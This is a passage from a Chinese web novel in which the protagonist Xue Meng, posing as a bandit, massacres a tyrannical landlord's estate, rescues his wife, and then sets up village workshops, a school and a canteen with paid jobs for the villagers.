甚至,刚才被他往死里欺负都不敢吭声的丫鬟,这时居然拿起剪刀,趁乱朝他胯下捅了一刀,而后撒腿跑了出去。
“呃啊……我的蛋……啊啊啊!!”
李全福捂着鲜血淋漓的裤裆,蜷缩地上,惨嚎不止。
“自作孽,不可活,姓李的,你已经众叛亲离了。”
雪亮长刀架在李贺脖子上,蒙面人俯瞰着他,眼神冷漠中又带着戏谑。
“这刀,是白虎乡差役的制式腰刀。”
李全福眯了眯眼,强忍疼痛,抬起头,发出最后的质问:“你不是响马吧,你到底是谁?”
第41章 血洗李庄
“将死之人,告诉你也无妨……”
“你不是诬陷我是响马吗?那老子就当一回响马!“
“听好了,老子的名字,叫做薛猛!”
薛猛揭开脸上蒙着的黑巾,露出真容。
夜色下,薛猛目若沧渊,虎威龙相,宛若一头披着人皮的真龙,让人望而生畏。
李全福双目圆睁,惊得肝胆欲裂!
“啊……没想到是你!”
“我李家庄苦心经营几十载,最后竟毁在你这个臭农民手里!”
薛猛环顾李家庄园,面露冷笑:“那你可就想错了!”
“你李庄的一砖一瓦,全都凝聚着我白虎乡的民脂民膏!”
“我非但不会毁了它,还要把这里改建成工坊和学堂!!”
“我不光要你的钱,要你的房子,我还要把你的老娘和你的女人,嫁给你曾经看不起的乞丐!”
薛猛后面这些话,自然是吓唬李全福的。
但李全福却全都当真了,听到薛猛这些字字诛心的话,只觉心如刀割,比他身上的伤还要让他痛苦百倍。
“不要!薛爷爷!我求求你,别这样!”
“薛爷爷神通广大,我李全福不该跟你作对!”
“我现在知道错了,求你给我一个改过自新的机会吧!”
李全福抱着薛猛的大腿,苦苦哀求,卑微得宛若路边一条,再也没了大户老爷的傲气。
俯瞰李全福灰头土脸,卑微乞怜的狼狈模样,薛猛恍然间回想起对方当初那高高在上的样子。
想当初,前身落魄到在李家门前和乞丐抢潲水。
就因为不小心碰脏了李贺的衣服,李贺一句话就让宋大龙要了他的命。
而李全福,作为白虎乡粮长,全程袖手旁观。
“李老爷,你还记得前不久你过大寿的时候,因为我不小心碰到你儿子的衣服,你儿子就让宋大龙打死‘我’的事情吗?”
“当时,‘我’也是这样抱着你的大腿,苦苦求饶……”
“可你是怎么回答‘我’的?”
薛猛满脸戏谑,替前身质问李全福。
李全福心虚,瑟瑟发抖:“我,我儿子有让宋大龙打你吗?我怎么不记得了。”
“薛爷爷,是您记错了吧?”
刑啊!
结果了一个人的性命,转眼却不记得了。
还问受害者是不是记错了?
可笑至极!
草菅人命,大概就是这个意思吧!
“说你是畜牲都侮辱了畜牲,放在21世纪你这种货色,都够枪毙八百回了!”
薛猛脸上笑容收敛,眼中只剩下冷漠。
再也没有心情逗弄这条老狗。
手中长刀,宛如狗头铡垂落。
咔嚓!
血浆飞迸。
人头落地。
不可一世的李庄庄主、白虎乡粮长李全福,就此殒命!
“老爷?!”
随着李贺人头落地,正和罗飞等人交手的李家庄客恍然失神。
李庄上下金铁交击的爆鸣和厮杀声,也随之戛然而止。
这些庄客与那些仆人和丫鬟不同,几乎全是劣迹斑斑的亡命之徒,被李庄从牢狱里捞了出来,平日在李庄颇受优待,与李家一荣俱荣,一损俱损。
李家也正是靠着这伙人,才得以在白虎乡横行霸道这么多年。
因此薛猛刚进入李庄时,便遭遇了庄客阻截。
不过这些货色,根本不需要薛猛动手,罗飞和郑灵均等人就足以对付。
而当薛猛斩下李贺人头,李家所剩无几的几名庄客,全都丧失了战斗意志,纷纷四散而逃。
“他们看见了我的脸,留下他们!我去找雅娴!”
薛猛重新蒙上黑布巾,反手捅死一名想要从背后偷袭的庄客。
对罗飞他们留下这句话,转身向李庄更深处走去。
“娘子!”
来到后院,一脚踹倒门板,薛猛冲进屋子一看。
却见屋内只有一群衣不蔽体,遍体鳞伤满脸木讷的少女。
唯独没有见着林雅娴。
地上还有一颗血淋淋的人头,薛猛努力回忆前身记忆,想起这人似乎是李庄最厉害的庄客周鹤。
去年李全福收公粮有村民暴动抗粮,就是被周鹤镇住的。
这老狗不是挺厉害吗?被谁砍了脑袋?
难道有人在我之前,就已经进了李庄后院?
“你们见过一个长得细眉细眼,身姿窈窕,穿红襦裙,比你们丰韵成熟一些的大姐姐吗?”
少女见薛猛提着刀,全都吓得瑟瑟发抖,缩在墙角,根本没办法回答薛猛的问题。
也不知道这些丫头,在李庄经历了些什么,全都精神恍惚,李家都垮台了,她们却还是不敢跨出这个屋子。
“见过……就是那个新来的林姑娘吧!”
薛猛无奈一叹,准备转身去下一个房间继续寻找林雅娴,这时候,一个少女忽然怯怯开口。
“李老爷前脚刚去了前院,她就被人用麻袋装走了!”
“那人个子好高,力气好大,扛着林姑娘从后门走的!”
听到少女磕磕巴巴的描述,薛猛心中一凛,若有所思。
“该不会是……”
……
“好你个‘钻地鼠’谢老幺!老子从北山县追到清河县,都没能抓住你!没想到今日在这儿撞上!休走!”
“啊!你不是响马,你是郑灵均?!”
“兄弟们快跑啊!‘虎头刀’郑灵均来了!!”
李庄前院,宛若人间炼狱,血流成河。
郑灵均砍刀直劈,将一名想要从正门突围的庄客劈成两半:“哼,李庄真是藏污纳垢,连这些重罪逃犯都敢收留!”
他也是没想到。
今天到李庄来,居然还有意外之喜。
李庄这些庄客,十个有九个都是在其他县犯下死罪的重犯。
主子死了,他们本就已经无心恋战,这时突然听到郑灵均大名,更是吓得仓皇逃窜。
但却被郑灵均尽数格杀。
还有一名想要翻墙逃跑的庄客,刚爬上墙头,就被罗飞的飞刀扎了个透心凉。
从一丈高的墙上翻滚在地,顷刻便命丧当场。
“坏了!跑了一个!”
一番血腥厮杀后。
李庄归于平静。
郑灵均清点了一下人头,发觉少了一个庄客。
他们明明把李庄进出的要道都考虑到了,不可能放走任何一个庄客,怎么会少一个呢?
“郑叔,那小子应该是钻狗洞跑了!”
罗飞一指墙角狗洞。
郑灵均扭头看去,只见地上有血迹一直从狗洞延伸到外面。
当即怒喝:“追!”
却说那名负伤逃跑的庄客,刚钻出狗洞,就被林大强撞个正着。
“好哇!这里还有个钻狗洞的跑出来了,看我怎么收拾你!”
林大强拿起木棍,朝庄客身上打去。
但他身上本就有伤,加上又没专门习过武,这一棒打去,非但没有伤到庄客,反而让庄客察觉了他的底细。
“呵!搞了半天是你们这帮泥腿子!居然敢冒充响马!”
庄客一把拽过木棍,一个闪身,将下盘虚浮的林大强摔翻在地,一脚踏在了他的身上,扯下了他脸上的黑布巾。
林大强连忙大叫:“大牛!二牛!张远!快来帮我啊!”
守在李庄其他出入口的村民,听到林大强的叫声,纷纷提着木棍朝这边围了上来。
见来的全都是没练过武的泥腿子,庄客不屑冷笑。
老子堂堂“花脸豹”,当年在江湖上也算是有几分薄名,对付不了郑灵均,我还收拾不了你们几个泥腿子?
庄客眼中凶光一闪,掌中刀一扫。
刷!
村民们打来的木棍,齐齐拦腰寸断。
啪啪啪,庄客趁机连环踹,将几名村民全都踹翻在地。
“敢挡老子的路!老子送你们见阎王!”
花脸豹满脸狰狞,高举屠刀,便要朝着林大强劈头斩下。
“啊!”
林大强惊恐至极,双目圆瞪。
倒在地上的村民,看见这一幕,想要爬起来可身上却是疼痛难忍,只能干着急。
这一刀若是落实,林大强顷刻便要命丧当场。
锵!
就在这性命交关之际,一声爆鸣骤然响起。
一柄铁枪,从旁斜刺而来,格开了花脸豹的刀!
第42章 祸水东引
嗡……
枪头上传来的巨力,震得花脸豹手中的刀发出颤鸣。
咣当一声,手中刀脱手落地。
花脸豹暴退数步,一屁股跌坐在地,只觉肝胆欲裂,虎口出血,手腕发麻。
还有高手?!
抬起头,难以置信地仰望那出枪之人。
没错,是仰望!
因为那人实在太高了,生得虎背狼腰,胸脯高耸。
头缠红绳,脸上蒙着红布巾,看不清面容。
一双英气十足的冰眸,宛若手中红缨枪,透着让人不敢直视的锋芒。
并且对方肩上还扛着一个麻袋,仅仅单手持枪,就能一招把花脸豹的刀打落。
力量堪称恐怖!
花脸豹深知对方实力远在自己之上,若敢反抗就是找死。
只能求饶了!
“好汉,饶命!”
噗呲!
花脸豹不求饶还好,一求饶,蒙面人顿时怒目圆睁,直接枪出如龙,扎穿了花脸豹的胸口。
胳膊一抡,便将其挑上旁边树杈,自挂东南枝。
“哼!老娘胸这么大,居然敢把老娘认成男人!”
“戳死你个睁眼瞎!”
红巾蒙面人气鼓鼓的挺了挺胸脯,随即扭头看向吓傻的村民。
一开口,声若清冰,透着寒意。
“你们是何人?为何假扮响马夜袭李庄?”
听到蒙面人耳熟的声音,林大强最先缓过神来,揭下面巾:“可是裴四妹?”
“是我!”
裴红玉揭下面巾,村民们顿时松了口气。
林大强紧接着就给裴红玉简单说明了此次夜袭李庄的来龙去脉。
“这么说,薛大哥也来了?”
裴红玉问道。
林大强指了指李庄院内:“对,他进去救林姑娘了!”
裴红玉闻言,嘴角一抽。
将肩上扛着的麻袋,放落在地。
“你们来晚了!”
“人我已经救出来了!”
啊?
林大强几人看见麻袋里露出的林雅娴,大眼瞪小眼,全都愣住了。
这事儿闹得!
合着用不着血洗李庄,裴红玉一个人,就把林雅娴救出来了?
那这李庄,没得挺冤呐!
“既然你们都在,林嫂子就交给你们了。”
“她伤得很重,你们快叫薛大哥给她治疗吧。”
裴红玉匆匆交代完,眉头轻锁揉了揉肚子,转身就要离去。
林大强害怕待会儿又从狗洞里钻出个李家庄客,想留住裴红玉:“裴姑娘,你这是着急去哪儿?就算回家也不急这一会儿吧。”
“我要去拉屎!”
“为了救嫂子,我一直憋着呢。”
留下这句话,裴红玉转身朝着茅草丛奔去。
林大强满脸尴尬:“……”
那确实挺急的。
不过这娘们儿真虎啊。
啥都说得出口!
比他们这些大老爷们儿还糙!
就在这时,一阵脚步声响起。
罗飞和郑灵均一行人,先后提刀冲了出来。
“林大强兄弟,你们见到有人从狗洞子里钻出来吗?”
“你们是说……他吗?”
林大强指了指躺在地上的花脸豹。
郑灵均先是一惊,随即上前查看。
注意到花脸豹胸口的伤,他一眼看出是被红缨枪所伤,不禁由衷赞叹:“一击毙命,好枪法!”
没想到这小小的白虎乡,竟然隐藏着这么多的龙虎之辈!
不仅自己的三哥、四哥都在,还出了个射杀棕熊的少年英雄薛猛。
现在,又有枪法如此了得的高手出现!
“这贼人,是被哪位好汉所杀?”
郑灵均两眼放光,他想见见这位使枪的好汉。
“拉屎去了。”
村民异口同声道。
“???”
郑灵均老脸一抽,表情和先前的林大强如出一辙。
“雅娴!”
紧随郑灵均和罗飞之后,薛猛也提着刀冲了出来。
在听了少女描述后,他已经猜出多半是裴红玉提前潜入李庄后院,砍了周鹤人头,救走了林雅娴。
除了她,白虎乡没人有这本事!
果不其然,一出来就看见躺在地上昏迷不醒的林雅娴。
薛猛连忙上前,一把将大老婆揽在怀里。
抚摸着林雅娴后背的鞭痕,心疼得心如刀割。
眼角垂下一滴泪水。
“雅娴,你快醒醒!”
吧嗒,泪滴落至林雅娴额头。
感受到薛猛的体温和呼唤,林雅娴睫毛轻颤,缓缓睁开了眼。
“相公,你……回来了?”
看着自己的相公居然在哭。
林雅娴艰难抬起手,轻轻抚摸着薛猛刀削斧劈般的刚毅脸颊。
“娘子!”
见林雅娴醒来,薛猛紧紧抱住大老婆,在她脸蛋上吻了一口:“是我没有保护好你,让你受苦了!我发誓以后绝对不会再有人能够伤害你!”
薛猛抹了把眼泪,将林雅娴背在背上:“走,我带你回家,给你擦药!”
趴在薛猛身上,林雅娴顿觉安心。
只要有这个男人在,就没有人能欺负自己!
“相公……以后你离开家别太久好吗?”
“好!老婆我答应你,以后我们天天在一起,永远不分开!不管我薛猛以后怎么样,你林雅娴永远是我大老婆!”
“……”
“薛贤侄有情有义,真英雄也。”
目送薛猛背着林雅娴离去的背影消失在夜色中。
郑灵均感慨万千。
“我要是女人就好了!也嫁给薛大哥!”罗飞翘着兰花指,抹了抹眼泪。
郑灵均老脸一抽,白了罗飞一眼:“……”
“师兄这是发骚了吗?”其余师兄弟背后叽叽咕咕。
“各位,咱薛家被李贺那厮抄了,如今家里什么也没有!”
“李家这些年可没少收刮民脂民膏,李庄里肯定藏着不少宝贝!”
“咱们不妨连夜把这些宝贝找出来,运回薛家!”
林大强适时提醒道。
“林大强兄弟所言极是,咱们动作得快!收拾完,我就让方田带人过来善后!”
郑灵均点了点头,大手一挥,招呼众人赶快行动。
李家父子到死都没料想到。
下午他们才让宋大龙抄了薛家。
结果当天晚上。
他们的小命就丢了。
李庄积蓄多年的宝贝,也被他们曾经看不起的农民搬得干干净净……
次日,李庄一夜间被黑风岭响马血洗的消息,传遍了整个白虎乡,引起不小轰动。
“听说了吗?李家庄李贺、李全福父子俩,昨晚被响马砍了头,人头挂在李庄门前老树上!这响马可真够狠的,亏得李家每年还给他们交岁供!”
“哼,那是李家父子罪有应得!他们以前可没少欺负咱们老百姓!”
“谁说不是!我女儿在李庄做丫鬟,就是被李贺那畜牲活活凌辱折磨而死!”
“可他李家家大业大,有钱有势,欺负我老头子告状无门,我上门讨要说法,还将我痛打一顿……”
“现在李家终于遭了报应,老天爷总算开眼啦!”
类似这样的对话,在白虎乡的茶水摊、田地间持续上演着。
李家父子在白虎乡犯下的累累罪行,数不胜数,老百姓早已对李家怨声载道。
听说李庄被血洗,没人不说好的。
但,这个消息传到洪雅县魏家府上。
魏家家主却是勃然大怒!
“岂有此理!打狗还得看主人呢!李全福这些年没少给我魏家挣钱,灭了李家,不就是断我魏家财路?”
“来人!备马,我要去县衙,请县尊派兵征剿黑风岭这伙贼寇!”
第43章 开办鱼胶工坊
“哈哈!郑叔,你这招祸水东引,太绝了。”
“估计现在大家真以为是黑风岭那伙匪寇,血洗了李庄!不愧是白虎军第四十七名精卫,果然智勇双全!晚辈这杯敬你,我干了,您随意!”
薛家宅院,已被重新收拾干净。
花架下,一张石桌,摆着一壶玉壶春和几样可口小菜。
薛猛、老白头、徐守业、郑灵均围坐一桌,喝酒谈天,不亦乐乎。
“呵呵!我这点花花肠子算个啥,你老丈人比我坏多了。”
面对薛猛敬酒夸赞,郑灵均举杯痛饮,笑呵呵地指了指徐守业。
徐守业已经醉的不省人事,趴在桌子上,打起了呼噜。
昨晚他虽然没有参与血洗李庄,但在薛猛他们回来之前,也是一夜没合眼。
“爹,你又喝醉了?我扶你回家休息!”
徐瑾儿端着几盘菜,从灶房里走了出来。
“回家?回什么家!我女婿家不就是我家吗?还有谁说我醉了?老夫千杯不倒,还能喝!”
前一刻还在打呼噜的徐守业,直接醒了过来,甩开徐瑾儿的手,端起酒杯又开始喝。
“哼,喝吧喝吧,不管你了!”
徐瑾儿小脸一红,撅着小嘴,扭着小腰转身离去。
薛猛饶有兴致地打量自己这小老婆的背影,打了个酒嗝。
经过昨晚的生死患难,林雅娴已经同意薛猛纳徐瑾儿为妾了。
只不过,还没公之于众。
“贤侄,多好的丫头啊,收了吧!来,走一个!”
老白头笑呵呵道。
“呵呵,让白叔见笑了!行,咱喝一个!”
推杯换盏间。
林大强满头热汗,踏进薛家小院。
“怎么样?”
薛猛倒了一碗酒,递给林大强,示意他坐下。
“妹夫,都办妥了。”
林大强接过酒,咕咚咕咚一口喝干,眉飞色舞满脸喜色:“李家庄园已被方亭长贴了封条,因为出过人命被当作凶宅,没人敢买,我就按你的吩咐,用最低价钱买下了。”
“交接全程,方亭长都给予了方便。”
“这是房契和田契。”
“如今李家的桑园、宅子、田土,都归你了!”
薛猛从林大强手里接过厚厚一沓契书,笑道:“不是我的,是咱的!李庄能有今天这么大的基业,不都是收刮的咱们白虎乡的民脂民膏吗?”
“如今李庄这个毒瘤已经被拔除,我想的是,带着咱们整个白虎乡的乡亲一起致富!”
“我要让家家户户都有肉吃,有衣穿!人人都能娶上好媳妇儿,嫁个好丈夫!”
“不怕交不起官税,也不用担心盗匪劫掠!”
“老有所依,壮有所用,幼有所长,病有所养!”
“夜不闭户,路不拾遗,天下大同!”
薛猛声音不大,但他这些话,却犹如天上雷鸣,振聋发聩!
院子里几人听得是心潮澎湃,瞠目结舌。
就连醉醺醺的徐守业,酒也是瞬间醒了一半。
“老有所依,壮有所用,幼有所长,病有所养?”
“路不拾遗,天下大同?!”
徐守业嘴里一遍遍重复着薛猛方才说的这些话。
老眸震颤,泪流满面。
激动地心脏病都快犯了。
“这……不就是传说中的……太平盛世吗?!”
文能临江赋诗,武能射杀棕熊!
对待仇敌,杀伐果断!
对待亲朋,有情有义!
发了财,没有想着独吞安于享乐,而是要带着大家共同致富!
穷则独善其身,达则兼济天下!
此刻,在众人眼中,薛猛就宛若救苦救难的菩萨,身上闪着光!
让人不得不想要臣服追随于他!
“咕咚、咕咚。”
郑灵均狂灌了几口酒,想要让自己冷静下来,但内心沸腾的热血始终无法平息。
他现在脑子里有一个特别强烈的念头!
那就是……
辞官!
留在卧虎村,跟着薛猛干!
哪怕是当薛猛麾下一员小卒,也好过跟大虞那些狗官虚以为蛇来得痛快!
“我师徒六人,自今日起,誓死追随薛公子!若有违誓,有如此碗!”
而老白头、罗飞师徒几人暗中交换了眼神,更是全都下定了决心。
当即端起酒碗站了起来,异口同声,满脸郑重。
仰脖喝干碗里的酒,直接啪一下摔了酒碗。
六双眼睛看向薛猛的眼神,比烧红的铁块还要火热。
薛猛刚才描述的那些生活,他们以前做梦都不敢想!
若是真能实现,要他们为薛猛豁出命去都心甘情愿!
“长根儿,你具体打算怎么做?”
热血之后,徐守业最先冷静了下来。
薛猛提出的这个大同社会,好是好!
但是想要实现,难如登天!
首先第一条,人人有肉吃,目前都几乎不可能实现。
大灾之年,蜀郡庄稼绝收,米价暴涨,别说吃肉,就是一口干饭,都难吃上。
甚至,许多地方都出现了菜人市,以人为菜。
薛猛想让这么多人都吃饱饭,那可不是一星半点银子能搞定的!
“徐伯,我知道你在担心什么。”
薛猛看出了徐守业的疑虑:“一口吃不成个大胖子,整个白虎乡有五个村,当然不可能马上让所有人过上好日子。”
“我的打算是,先以咱们卧虎村作为试点,让咱们村子先富起来,再带动其他村子共同富裕!”
“第一步,是先建立鱼胶工坊、铁艺坊,生产鱼胶、铁锅。”
“同时修建学堂和饭堂。”
“凡是在工坊做工的员工,每天管三顿饭,白天做工,晚上还可以在学堂读书识字,他们的孩子也都可以到学堂念书!”
“每天吃三顿?还能念书?”
薛家门前,人头攒动,恍惚间已经聚满了村民。
不少村民手里还扛着锄头,拿着镰刀,显然准备去干活,恰巧路过。
当听到薛猛又是要开办各种工坊,又是要办学堂、饭堂,有人摇摇头,转身离去。
“步子迈这么大,也不怕扯到蛋,又是管饭又是办学堂的,这得花多少银子?”
“这长根儿打猎是把好手,但做生意,他又没经验,万一东西做出来,卖不出去不就完犊子了吗!”
“虽说他现在卖了熊,得了些钱,但也经不起这么瞎折腾啊!到时候钱花光了,看他怎么收场!”
“我要是有钱才不会这么瞎胡来呢,自己留着慢慢用不好吗?”
“说什么带着大家共同致富,还不是他自己贪心想赚更多钱吗?瞎忽悠,以为我们傻呢?”
“连李庄那种大户,以前找人干活,一天也就给五文钱,他可倒好,一开口就是管三顿饭,口气真大!”
听着这些带着质疑的冷嘲热讽,薛猛不以为意。
他故意没有透露自己现在的经济实力。
对外宣称,棕熊只卖了一百两。
目的就是想看看大家的反应。
那些不信任他的人,嘲讽他的人,已经被他打入心中的黑名单,永不录用。
而留下的人,能拉一把就拉一把吧!
“薛大哥,他们不干,我们想跟你干!”
“对,不要工钱也干!”
“我们就信你这个人儿!”
张家婶子和他弟弟张水、张远,还有大牛、二牛这十几个跟着林大强跟差役干架的年轻人,全都过来了。
一群人两眼冒光,近乎崇拜地看着院中高谈阔论的薛猛。
徐守业的三个女婿,周堂、李正、王羽,也都满脸信任地看着薛猛。
第44章 张婶被幸福冲昏头
每天管三顿饭,还能读书认字,这样的好事,上哪儿找去?
那些走掉的人,自以为聪明绝顶,实际上根本不知道自己错过了这辈子唯一改命的机会!
张婶虽然也不知道薛猛的鱼胶到底能卖多少钱,但经过昨天晚上的事情,薛猛在他们眼中已经是无所不能的存在。
连不可一世的李庄都被薛猛给灭了!
还有什么是他做不到的呢?
“大家稍安勿躁!听我说,炮制鱼胶需要一整套的工序。”
“主要由捕鱼队、鱼胶坊两个部门组成!”
薛猛目光在人群里扫视一圈,最终定格在张水身上:“张水,听说你水性不错,愿不愿意担任捕鱼队队长?每月酬劳四两银子。”
“多少?!”
张水眼珠子都快瞪出来了。
一个月四两银子!
这要是搁以前,打一年鱼也未必能赚到这么多!
“你傻楞着干什么,快说话呀!”
张婶见张水半天不说话,急得使劲掐了他一把。
“我愿意!我当然愿意!薛大哥,以后我张水生是你的人,死是你的鬼!你让我往东,我绝不敢往西!”
张水真是恨不得把自己的心肝肚肺都掏出来,给薛猛看看。
激动得语无伦次。
昨天李贺带着差役要抓走林雅娴,他跟着林大强跟李贺动起手来,结果被抓进了班房。
本以为自己这辈子完蛋了,没想到自己居然有今天!
周围村民全都羡慕不已,心说这张水以前吊儿郎当的,就没干成过什么正事儿,连个媳妇儿都没娶上。
明年估计就得被催生队抓去战场当炮灰了!
现在可倒好,薛猛直接给他开每月四两银子的酬劳,一年就是四十八两,比县衙官差年俸还要高。
这以后,说媒的不得踏破张家门槛?
看着自己这个不成器的弟弟,被薛猛委以重任,张婶喜极而泣,情不自禁抹起了眼泪。
先前处于观望态度的村民们,也都沸腾起来,抢着要加入捕鱼队。
“大家听我说,捕鱼队成员暂定七名,张远、大牛、二牛优先录取,每月酬劳三两。”
“其余队员每月二两,想参加的可以找张水队长报名,但前提是要精通水性。”
张远、大牛、二牛闻言,激动得直发抖。
每月三两!
这个酬劳已经超乎他们的想象!
一些曾经打过鱼的村民,则是纷纷朝着张水围了上去,情绪激动,抢着要报名参加捕鱼队。
“水哥!让我加入吧!我会水!”
“水爷,你是知道我的,我能在水里待上半天呢……”
曾经万人嫌的二流子张水,如今成了人人巴结的香饽饽。
张水深知,这一切都是薛猛带给他的!
他暗自发誓,绝不能辜负薛猛的提拔!
一定要挑出水性最好的捕鱼队队员,把捕鱼队安排得明明白白的!
绝对不让那些滥竽充数的货色白吃薛家的饭!
“想加入捕鱼队的,跟我到河边去!嘴把式不如真把式,能不能录取,就看你们的本事了!”
目送张水带着一群人风风火火的离去。
不懂水性的村民,满脸失落,暗恨自己为什么是个旱鸭子。
薛猛看出大家的失落,又道:“不通水性的乡亲们,也不用着急,凡是留下的乡亲每家可以抽一人加入鱼胶坊,跟我学习炮制鱼胶!”
“学习期间每月酬劳统一一两,熟练后按劳分配,手艺越好酬劳越高,表现优异者,还有望成为鱼胶坊主管,酬劳与捕鱼队队长一样,每月四两。”
“不过这炮制鱼胶,可是个精细活,稍有差池,就可能熬过火!最好是由妇人来做!”
一听这话,村里不少妇人眼前一亮,跃跃欲试。
以往,工钱稍微高一些的活都是体力活,只有男人能做。
妇人只能做些摘桑叶、缝补洗衣的活计,顶天了一天也只能赚几文钱,一个月下来不到一百文。
可现在,跟着薛猛干,每月居然能拿一两银子?
而且还是学习期,若是熟练了能赚更多!
这简直是她们以前做梦都不敢想的事情!
这比以前男人赚得都多了!
有了这些钱,家里孩子就不用饿肚子了,冬天也能穿上棉衣,不用怕冻死了!
“想加入鱼胶坊的,来找我报名吧。”
林雅娴从屋子里款款走出,朝妇人们招手。
林雅娴亲眼看过薛猛炮制鱼胶,并且亲自使用过几次,已经对鱼胶有了基本了解。
为人又心灵手巧,由她担任鱼胶坊的负责人,再合适不过。
但,昨晚林雅娴受了伤,薛猛看着有些心疼:“娘子,我不是让你躺着好好休息吗?”
林雅娴摇摇头:“相公,我已经没事了!大家都有活干,我也想帮你分担分担,你就给我这个机会吧!”
见林雅娴执意要帮忙,薛猛无奈一笑:“那行吧,鱼胶坊就由你来负责吧。”
“薛大哥,那我呢?”
见大家都有了不错的差事,罗飞指了指自己,已经等得有些迫不及待了。
“你先别急。”
薛猛拍了拍罗飞肩膀,转而对老白头道:“白叔,铁艺坊主管这个位置,非你莫属,酬劳每月五两,你看行吗?”
听到每月五两的酬劳,村民们呼吸一滞。
老白头却很是淡定:“害,咱爷俩还扯什么酬劳,我跟你来卧虎村,难不成是冲着银子来的?随你安排,老头子我照办就行。”
薛猛笑了笑,那倒是,以老白头的手艺,在洪雅县里开铁匠铺,生意也不差。
“赵康、周威、秦朗、庄翼,你们四位匠人,每月酬劳三两。并且,铁艺坊每顿都有肉食补贴。”
罗飞这些师兄弟闻言都高兴坏了,有肉吃,太棒了!
罗飞眉头一皱,指了指自己:“不是,那我呢?我不是人吗?”
薛猛没搭理他,而是对徐守业和他三个女婿嘱托道:“徐伯,三位兄长,至于筹办学堂的事情,就交给你们了!银子不用担心,主要是这教书先生,你们得想想办法……”
穷啥不能穷教育。
让村民识字,只不过是薛猛的初步计划。
薛猛的最终目的,是开启民智,挑选出那些学习能力比较强的人,给他们教授一些现代知识。
只有这样,才有可能培养出真正的“人才”,帮助他完成一些更高难度的工作。
不然光靠他自己一双手,根本忙不过来。
但卧虎村目前的条件,还是比较艰苦的。
一般的文人自视甚高,根本不可能屈尊到卧虎村来村民识字念书。
徐守业捋了捋胡须,笑呵呵道:“长根儿,你放心吧!这事儿包在老夫身上!”
薛猛出资筹办学堂,教村民识字,这是徐守业万万没想到的。
让大家吃上饭,就已经很了不起了。
居然还能想到,让所有人都识字!
这是何等的心胸?
有了徐守业这番话,薛猛就放心了。
“好,接下来是最后一个部门,也是最重要的一个部门,那就是饭堂!”
“要保证捕鱼队、鱼胶坊、铁艺坊、学堂这么多人同时吃上热饭!”
“饭堂必须要有几个能干的婶子,专门来做饭!”
“张婶,就由你担任饭堂主管,酬劳每月三两,其余婶子每月一两!”
“你看怎么样?”
“啊?我吗?!”
张婶几乎以为自己听错了。
刚才还说张水傻愣着,轮到自己,差点晕了过去。
第45章 组建卧虎山巡猎队
“张家姐姐,你可别晕呐!这是多少人羡慕不来的好事啊!”
徐守业的大女儿、二女儿,连忙将张婶扶住,笑呵呵地恭喜道。
张婶感觉自己浑身轻飘飘,好像在做梦一样。
张水担任捕鱼队队长,每月四两银子,已经让她感觉是光宗耀祖了!
现在薛猛居然又让她担任饭堂主管,每月给三两银子。
姐弟二人一个月就能挣七两银子。
一年下来,进账八十多两银子。
不光是这些年欠的那些饥荒,终于能还上!
今后的日子,那也是蒸蒸日上,越来有盼头了!
“长根儿,日后婶子生是你的人,死是你的鬼,你让我往东,我绝不往西!”
张婶真想狠狠抱住薛猛亲上一口。
这小伙子,真讨人喜欢!
薛猛听得嘴角一抽。
这话怎么这么耳熟?
等等,这不是刚才林大强的词吗?
不愧是亲姐弟俩,连台词都一样!
不过张婶昨晚冒着生命危险,跟薛猛通风报信,薛猛也是想报答她的这份恩情。
“大舅哥,铁艺坊、鱼胶坊都需要新建厂房,这事儿就交给你办,如何?”
林大强一拍胸脯,当仁不让:“行啊,修房子我最在行了!”
“那好,就由你来担任施工队队长,每月四两银子,施工队的工人,每月三两。”
“行,我马上回青牛村招人去!这么好的待遇,我以前那些工友肯定抢着干!”
听到这酬劳,林大强笑得合不拢嘴。
还得是亲妹夫啊,换了别人,他上哪儿找这么好差事?
以前给李庄种桑树,累死累活一个月才一百五十文,现在一个月能拿四两,也就是四千文,简直是一个天一个地!
薛猛分配完人员和酬劳后,村民们欢天喜地,干劲满满地离去,各自去完成薛猛分配的任务。
不少人都在暗自庆幸,没有像之前离开的那些人一样,对薛猛冷嘲热讽。
现在的薛猛,再也不是曾经那个败家子!
也不只是一个小小的猎户!
薛家已经成了名副其实的大户。
并且这个大户,和以往的那些大户不一样,不仅不压迫穷人,还要带着大家一起赚钱!
不知不觉间,薛猛在卧虎村的威望,提升到了一个空前的高度。
在一片欢声笑语中,唯独罗飞满脸幽怨,像受了丈夫冷落的小媳妇儿。
我是哪里得罪薛大哥了?
为什么他不理我?
所有人都谋得了好差事,就连自己师父都成了铁艺坊主管,只有他罗飞被薛猛晾在了一边。
“薛大哥,求你别折磨我了。”
“你该不会是因为,咱们刚见面的时候我曾经对你态度不好,记恨我吧?”
罗飞终于忍不住,问出了心中的顾虑。
“你把我当啥人了?”
见罗飞都快急哭了,薛猛笑了笑,决定不再吊他胃口:“比起刚才那些事情,我有更加重要的任务,要交给你。”
“来,咱们边走边说。”
罗飞闻言一愣,随即擦了擦眼泪,嘿嘿笑了起来。
屁颠屁颠跟着薛猛走了出去。
“我就知道,薛大哥不会忘了我!”
来到村口老杨树下,薛猛脸上笑容一敛,神情严肃起来。
“罗兄弟你看,这就是我先前射杀黑风岭响马的地方。”
“黑风岭响马的存在,对我们卧虎村始终是个威胁,还有山中除了棕熊,说不定还有其他猛兽会来侵扰村子,上次棕熊下山,村子里可没少死人呐。”
“我先前和徐伯勘察过卧虎村的地形,打算修建一些防御工事。”
“并组建一个巡猎队,一为提防响马盗匪,二为清扫豺狼虎豹。”
“罗兄弟你的身手不错,如果只是让你在铁艺坊打铁,实在有些屈才。”
罗飞会意道:“薛大哥,你难道是想让我加入巡猎队?”
薛猛没有承认也没有否认,而是强调道:“巡猎队不同于其他工种,若有响马或猛兽来袭,需要与其短兵相接,很可能会有伤亡!”
“黑风岭那些响马,和李庄那些不入流的庄客可不一样,每个都是刀口舔血,杀人如麻的恶徒强寇!徐伯曾说过,他们的老大还是青狼军马军都尉出身,本事了得!山中那些野兽,也不是好对付的!”
“我不怕!”
罗飞目光坚定,胸脯拍得当当响。
“师父不光教会我打铁,还教会我一身武艺。”
“小时候练功,他对我特别严格!”
“他嘴上虽然不说,但我心里却跟明镜儿一样,知道他是希望有朝一日,我能上战场杀北莽鞑子,保家卫国!”
“可惜啊,大虞狗皇帝有眼无珠,遣散了白虎军,和北莽割地求和,真是窝囊。”
“这样的国,哪里还值得我们抛头颅洒热血?”
“大虞皇帝若是像薛大哥你这样,既有菩萨心肠,又有金刚手段,何愁大虞不兴?”
